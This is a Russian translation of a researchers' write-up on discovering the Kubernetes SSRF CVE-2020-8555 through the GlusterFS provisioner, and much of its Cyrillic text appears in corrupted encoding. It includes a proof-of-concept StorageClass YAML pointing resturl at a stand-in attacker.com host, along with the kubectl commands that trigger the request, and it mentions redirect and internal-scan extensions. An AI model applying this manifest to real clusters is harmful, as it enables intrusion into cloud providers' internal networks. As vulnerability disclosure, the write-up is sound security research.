Когда Π΄Π΅Π»ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² уязвимости Π² Kubernetes…

ΠŸΡ€ΠΈΠΌ. ΠΏΠ΅Ρ€Π΅Π².: Π°Π²Ρ‚ΠΎΡ€Ρ‹ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ Π² подробностях Ρ€Π°ΡΡΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΈΠΌ ΡƒΠ΄Π°Π»ΠΎΡΡŒ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ CVE-2020–8555 Π² Kubernetes. Π₯отя ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΎΠ½Π° ΠΈ выглядСла Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ опасной, Π² сочСтании с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ„Π°ΠΊΡ‚ΠΎΡ€Π°ΠΌΠΈ Π΅Ρ‘ ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ Ρƒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ΠΎΠ² оказалась максимальной. Π—Π° ΠΏΡ€ΠΎΠ²Π΅Π΄Ρ‘Π½Π½ΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ спСциалистов Ρ‰Π΅Π΄Ρ€ΠΎ Π²ΠΎΠ·Π½Π°Π³Ρ€Π°Π΄ΠΈΠ»ΠΈ сразу нСсколько ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΉ.

Когда Π΄Π΅Π»ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² уязвимости Π² Kubernetes…

ΠšΡ‚ΠΎ ΠΌΡ‹ Ρ‚Π°ΠΊΠΈΠ΅

ΠœΡ‹ β€” Π΄Π²Π° французских исслСдоватСля Π² области бСзопасности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ совмСстно ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ»ΠΈ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π² Kubernetes. Нас Π·ΠΎΠ²ΡƒΡ‚ Brice Augras ΠΈ Christophe Hauquiert, Π½ΠΎ Π½Π° ΠΌΠ½ΠΎΠ³ΠΈΡ… Bug Bounty-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ… ΠΌΡ‹ извСстны ΠΊΠ°ΠΊ Reeverzax ΠΈ Hach соотвСтствСнно:

Π§Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ?

Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ β€” наш способ Ρ€Π°ΡΡΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ рядовой ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½ΠΎ прСвратился Π² самоС ΡƒΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΡ€ΠΈΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π² ΠΆΠΈΠ·Π½ΠΈ ΠΎΡ…ΠΎΡ‚Π½ΠΈΠΊΠΎΠ² Π·Π° Π±Π°Π³Π°ΠΌΠΈ (ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚).

Как Π²Π°ΠΌ, Π½Π°Π²Π΅Ρ€Π½ΠΎΠ΅, извСстно, Ρƒ ΠΎΡ…ΠΎΡ‚Π½ΠΈΠΊΠΎΠ² Π·Π° Π±Π°Π³Π°ΠΌΠΈ Π΅ΡΡ‚ΡŒ ΠΏΠ°Ρ€Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… особСнностСй:

  • ΠΎΠ½ΠΈ ΠΆΠΈΠ²ΡƒΡ‚ Π½Π° ΠΏΠΈΡ†Ρ†Π°Ρ… ΠΈ ΠΏΠΈΠ²Π΅;
  • ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° всС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ спят.

ΠœΡ‹ Π½Π΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· этих ΠΏΡ€Π°Π²ΠΈΠ»: ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ встрСчаСмся Π² Π²Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹Π΅ Π΄Π½ΠΈ ΠΈ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΠΌ бСссонныС хакСрскиС Π½ΠΎΡ‡ΠΈ. Но ΠΎΠ΄Π½Π° ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ… Π½ΠΎΡ‡Π΅ΠΉ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»Π°ΡΡŒ вСсьма Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ.

Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΌΡ‹ ΡΠΎΠ±ΠΈΡ€Π°Π»ΠΈΡΡŒ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΡΡƒΠ΄ΠΈΡ‚ΡŒ участиС Π² CTF Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ дСнь. Π’ΠΎ врСмя бСсСды ΠΎ бСзопасности Kubernetes Π² управляСмой сСрвисной срСдС вспомнили ΠΎ старой ΠΈΠ΄Π΅Π΅ SSRF (Server-Side Request Forgery) ΠΈ Ρ€Π΅ΡˆΠΈΠ»ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅ Π² качСствС сцСнария Π°Ρ‚Π°ΠΊΠΈ.

Π’ 11 Π²Π΅Ρ‡Π΅Ρ€Π° сСли Π·Π° исслСдования, Π° ΡΠΏΠ°Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠ»ΠΈΡΡŒ Ρ€Π°Π½ΠΎ ΡƒΡ‚Ρ€ΠΎΠΌ, вСсьма ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€Π΅Π½Π½Ρ‹Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌΠΈ. ИмСнно ΠΈΠ·-Π·Π° этих исслСдований ΠΌΡ‹ Π½Π°Ρ‚ΠΊΠ½ΡƒΠ»ΠΈΡΡŒ Π½Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ MSRC Bug Bounty ΠΈ ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Π»ΠΈ эксплойт с эскалациСй ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ.

ΠŸΡ€ΠΎΡˆΠ»ΠΎ нСсколько нСдСль/мСсяцСв, ΠΈ наш Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ» ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈΠ· самых высоких Π½Π°Π³Ρ€Π°Π΄ Π² истории Azure Cloud Bug Bounty β€” Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ Ρ‚ΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ ΠΎΡ‚ Kubernetes!

По ΠΌΠΎΡ‚ΠΈΠ²Π°ΠΌ нашСго ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° ΠΊΠΎΠΌΠΈΡ‚Π΅Ρ‚ Kubernetes Product Security Committee ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π» CVE-2020–8555.

Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρ…ΠΎΡ‚Π΅Π»ΠΎΡΡŒ Π±Ρ‹ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ большС Ρ€Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠΉ уязвимости. НадССмся, Π²Ρ‹ ΠΎΡ†Π΅Π½ΠΈΡ‚Π΅ Π½Π°Ρ…ΠΎΠ΄ΠΊΡƒ ΠΈ ΠΏΠΎΠ΄Π΅Π»ΠΈΡ‚Π΅ΡΡŒ тСхничСскими подробностями с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ‡Π»Π΅Π½Π°ΠΌΠΈ infosec-сообщСства!

Π˜Ρ‚Π°ΠΊ, Π²ΠΎΡ‚ наша история…

ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚

Π§Ρ‚ΠΎΠ±Ρ‹ максимально ΠΏΠΎΠ»Π½ΠΎ довСсти смысл ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ΅Π΄ΡˆΠ΅Π³ΠΎ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ сначала рассмотрим, ΠΊΠ°ΠΊ Kubernetes Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² условиях ΠΎΠ±Π»Π°Ρ‡Π½ΠΎΠΉ управляСмой срСды.

Когда Π²Ρ‹ создаСтС экзСмпляр кластСра Kubernetes Π² Ρ‚Π°ΠΊΠΎΠΉ срСдС, Π·Π° Ρ€Π°Π±ΠΎΡ‚Ρƒ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰Π΅Π³ΠΎ слоя ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ поставщик ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… услуг:

Когда Π΄Π΅Π»ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² уязвимости Π² Kubernetes…
Π£ΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ слой располагаСтся Π² ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚Ρ€Π΅ ΠΎΠ±Π»Π°Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π°, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΡƒΠ·Π»Ρ‹ Kubernetes находятся Π² ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚Ρ€Π΅ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°

Для динамичСского выдСлСния Ρ‚ΠΎΠΌΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ ΠΈΡ… динамичСского прСдоставлСния ΠΈΠ· внСшнСго storage-бэкСнда ΠΈ сопоставлСния с PVC (persistent volume claim, Ρ‚.Π΅. запросом Π½Π° Ρ‚ΠΎΠΌ).

Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ PVC создан ΠΈ привязан ΠΊ StorageClass’Ρƒ Π² кластСрС K8s, дальнСйшиС дСйствия ΠΏΠΎ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»Π΅Π½ΠΈΡŽ Ρ‚ΠΎΠΌΠ° Π±Π΅Ρ€Π΅Ρ‚ Π½Π° сСбя kube/cloud controller manager (Π΅Π³ΠΎ Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ зависит ΠΎΡ‚ Ρ€Π΅Π»ΠΈΠ·Π°). (ΠŸΡ€ΠΈΠΌ. ΠΏΠ΅Ρ€Π΅Π².: ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΏΡ€ΠΎ CCM Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΅Π³ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ для ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ΠΎΠ² ΠΌΡ‹ ΡƒΠΆΠ΅ писали здСсь.)

БущСствуСт нСсколько разновидностСй provisioner’ΠΎΠ², ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Kubernetes: Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΈΠ· Π½ΠΈΡ… Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² ядро оркСстратора, Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ provisioner’Π°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π² pod’Π°Ρ… Π² кластСрС.

Π’ своСм исслСдовании ΠΌΡ‹ ΡΡ„ΠΎΠΊΡƒΡΠΈΡ€ΠΎΠ²Π°Π»ΠΈΡΡŒ Π½Π° Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΌ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ΅ прСдоставлСния Ρ‚ΠΎΠΌΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΎΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ Π½ΠΈΠΆΠ΅:

Когда Π΄Π΅Π»ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² уязвимости Π² Kubernetes…
ДинамичСскоС прСдоставлСниС Ρ‚ΠΎΠΌΠΎΠ² с использованиСм встроСнного provisioner’Π° Kubernetes

Если Π²ΠΊΡ€Π°Ρ‚Ρ†Π΅, ΠΊΠΎΠ³Π΄Π° Kubernetes Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ Π² управляСмой срСдС, Π·Π° Ρ€Π°Π±ΠΎΡ‚Ρƒ controller manager’Π° ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ поставщик ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… услуг, Π½ΠΎ запрос Π½Π° созданиС Ρ‚ΠΎΠΌΠ° (Π½ΠΎΠΌΠ΅Ρ€ 3 Π½Π° схСмС Π²Ρ‹ΡˆΠ΅) ΠΏΠΎΠΊΠΈΠ΄Π°Π΅Ρ‚ ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ сСти ΠΎΠ±Π»Π°Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π°. И Π²ΠΎΡ‚ Ρ‚ΡƒΡ‚-Ρ‚ΠΎ ситуация становится ΠΏΠΎ-настоящСму интСрСсной!

Π‘Ρ†Π΅Π½Π°Ρ€ΠΈΠΉ Π²Π·Π»ΠΎΠΌΠ°

Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ расскаТСм, ΠΊΠ°ΠΊ воспользовались упомянутым Π²Ρ‹ΡˆΠ΅ Ρ€Π°Π±ΠΎΡ‡ΠΈΠΌ процСссом ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ доступ ΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΌ рСсурсам поставщика ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… услуг. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ дСйствия β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ»ΠΈ провСсти ΡΡΠΊΠ°Π»Π°Ρ†ΠΈΡŽ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ.

Одна простая манипуляция (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС это Service Side Request Forgery) ΠΏΠΎΠΌΠΎΠ³Π»Π° Π²Ρ‹ΠΉΡ‚ΠΈ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ клиСнтской срСды Π² кластСрах Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… поставщиков услуг ΠΏΠΎ управляСмому K8s.

Π’ своих исслСдованиях ΠΌΡ‹ ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΠ»ΠΈΡΡŒ Π½Π° provisioner’Π΅ GlusterFS. НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ дальнСйшая ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ дСйствий описана Π² Ρ‚Π°ΠΊΠΎΠΌ контСкстС, этой ΠΆΠ΅ уязвимости ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Ρ‹ Quobyte, StorageOS ΠΈ ScaleIO.

Когда Π΄Π΅Π»ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² уязвимости Π² Kubernetes…
Π—Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠΌ динамичСского прСдоставлСния Ρ‚ΠΎΠΌΠΎΠ²

Π’ΠΎ врСмя Π°Π½Π°Π»ΠΈΠ·Π° класса Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ GlusterFS Π² исходниках ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° Π½Π° Golang ΠΌΡ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΠ»ΠΈ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ HTTP-запросС (3), ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠΌ Π²ΠΎ врСмя создания Ρ‚ΠΎΠΌΠ°, ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ URL Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ resturl добавляСтся /volumes.

Π˜Π·Π±Π°Π²ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ этого Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΡƒΡ‚ΠΈ ΠΌΡ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ # Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ resturl. Π’ΠΎΡ‚ пСрвая YAML-конфигурация, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ использовали для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π½Π° Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ «полуслСпой» SSRF-уязвимости (ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΏΡ€ΠΎ semi-blind ΠΈΠ»ΠΈ half-blind SSRF ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, здСсь β€” ΠΏΡ€ΠΈΠΌ. ΠΏΠ΅Ρ€Π΅Π².):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Π—Π°Ρ‚Π΅ΠΌ для ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ управлСния кластСром Kubernetes воспользовались Π±ΠΈΠ½Π°Ρ€Π½ΠΈΠΊΠΎΠΌ kubectl. Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Ρ‹ (Azure, Google, AWS ΠΈ Ρ‚ Π΄.) ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ для ΠΈΡ… использования Π² этой ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π΅.

Благодаря этому ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΎΡΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ свой «особСнный» Ρ„Π°ΠΉΠ». Kube-controller-manager Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ» Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ HTTP-запрос:

kubectl create -f sc-poc.yaml

Когда Π΄Π΅Π»ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² уязвимости Π² Kubernetes…
ΠžΡ‚Π²Π΅Ρ‚ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ

ВскорС послС этого ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ смогли ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ HTTP-ΠΎΡ‚Π²Π΅Ρ‚ ΠΎΡ‚ Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ сСрвСра β€” Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ describe pvc ΠΈΠ»ΠΈ get events Π² kubectl. И Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ: этот Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€ Kubernetes ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ слишком многословСн Π² своих прСдупрСТдСниях/сообщСниях ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…β€¦

Π’ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с ссылкой Π½Π° https://www.google.fr, установлСнной Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° resturl:

kubectl describe pvc poc-ssrf
# ΠΈΠ»ΠΈ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ kubectl get events

Когда Π΄Π΅Π»ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² уязвимости Π² Kubernetes…

Π’ Ρ€Π°ΠΌΠΊΠ°Ρ… Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° ΠΌΡ‹ Π±Ρ‹Π»ΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Ρ‹ запросами Ρ‚ΠΈΠΏΠ° HTTP POST ΠΈ Π½Π΅ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ содСрТимоС Ρ‚Π΅Π»Π° ΠΎΡ‚Π²Π΅Ρ‚Π°, Ссли Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ΄ Π±Ρ‹Π» 201. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Ρ€Π΅ΡˆΠΈΠ»ΠΈ провСсти Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ исслСдования ΠΈ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠ»ΠΈ этой сцСнарий Π²Π·Π»ΠΎΠΌΠ° Π½ΠΎΠ²Ρ‹ΠΌΠΈ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π°ΠΌΠΈ.

Π­Π²ΠΎΠ»ΡŽΡ†ΠΈΡ Π½Π°ΡˆΠΈΡ… исслСдований

  • ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹ΠΉ сцСнарий β„–1: использованиС 302-Π³ΠΎ Ρ€Π΅Π΄ΠΈΡ€Π΅ΠΊΡ‚Π° со внСшнСго сСрвСра для измСнСния ΠΌΠ΅Ρ‚ΠΎΠ΄Π° HTTP, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Π³ΠΈΠ±ΠΊΠΈΠΉ способ сбора Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ….
  • ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹ΠΉ сцСнарий β„–2: автоматизация сканирования LAN ΠΈ обнаруТСния Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… рСсурсов.
